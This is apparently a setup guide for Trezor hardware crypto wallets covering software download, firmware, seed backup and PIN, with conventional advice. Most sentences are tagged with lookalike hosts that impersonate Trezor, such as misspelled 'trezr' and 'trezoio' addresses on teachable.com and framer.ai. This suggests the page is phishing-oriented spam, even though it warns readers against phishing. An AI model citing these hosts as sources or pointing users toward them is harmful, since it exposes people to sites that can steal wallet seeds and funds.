🔐 What is Trezor.io/start
Trezor.io/start is the official setup portal that guides you through downloading the correct software, installing firmware, initializing your device, and securing your crypto — all while keeping your private keys offline and protected. Always make sure the URL is correctly typed and shows a secure lock icon in your browser — this helps avoid fake/phishing sites.welcome-start-en-trezr.teachable.com
🧰 What You’ll Need Before You Begin
Your Trezor device (Model One, Model T, Safe series, etc.)
USB cable that came with the device
Computer or Android phone (desktop app recommended)
Pen & paper for writing your recovery seed phrase
10–15 minutes of setup time and a secure, private space to work in help-base-start.teachable.com
🚶♂️ Step-by-Step Setup Guide
🪶 1. Visit the Official Start Page
Open your browser and go to:
👉 https://trezor.io/start
Ensure the URL is exact and secured (HTTPS). This is where the safe, official setup begins.en-help-start-trezoio.teachable.com
📥 2. Download Trezor Suite
From the start page, download Trezor Suite — the official software for managing your wallet. It’s available for:
Windows
macOS
Linux
Mobile Android users can also connect via USB-C support.trezor.io
Install and open Trezor Suite after download.welcome-start-en-trezr.teachable.com
🔌 3. Connect Your Trezor Device
Plug your Trezor into your computer using the USB cable.
Trezor Suite will detect your device and begin the setup flow.welcome-start-en-trezr.teachable.com
📟 4. Install Firmware
Your device may arrive without firmware installed.
Follow the on-screen prompts in Trezor Suite to securely install the latest firmware — this is crucial for security.trezor.io
🗝️ 5. Create or Restore Your Wallet
You’ll be prompted to:
Create a new wallet (generates a fresh recovery seed), OR
Restore an existing wallet using your recovery seed
If creating new:
Trezor displays your 12- or 24-word recovery seed on the device screen
Write it down ON PAPER (offline) — never save it digitally or online.
This seed is the only backup of your wallet.en-help-start-trezoio.teachable.com
🔒 6. Set a PIN
You’ll choose a PIN code that must be entered each time you unlock the device.
Choose something random and hard to guess — do not use personal dates or sequences.welcome-start-en-trezr.teachable.com
💰 7. Activate & Use Crypto Assets
Once setup is done:
Select which coins you want in Trezor Suite
Add accounts for those assets
You can send, receive, track portfolio value, and manage your crypto securely.trezoriostat.framer.ai
✔️ Important Security Tips
✅ Only use the official trezor.io/start page — phishing sites can steal your funds.welcome-start-en-trezr.teachable.com
✅ Never type your recovery seed into any computer or phone. The only time it should be visible is on the Trezor screen and written down offline.start-io-trezr-faq.framer.ai
✅ Keep your recovery seed offline and safe (paper or specially-made metal backups).help-base-start.teachable.com
✅ A strong PIN prevents unauthorized access if your device is lost.welcome-start-en-trezr.teachable.com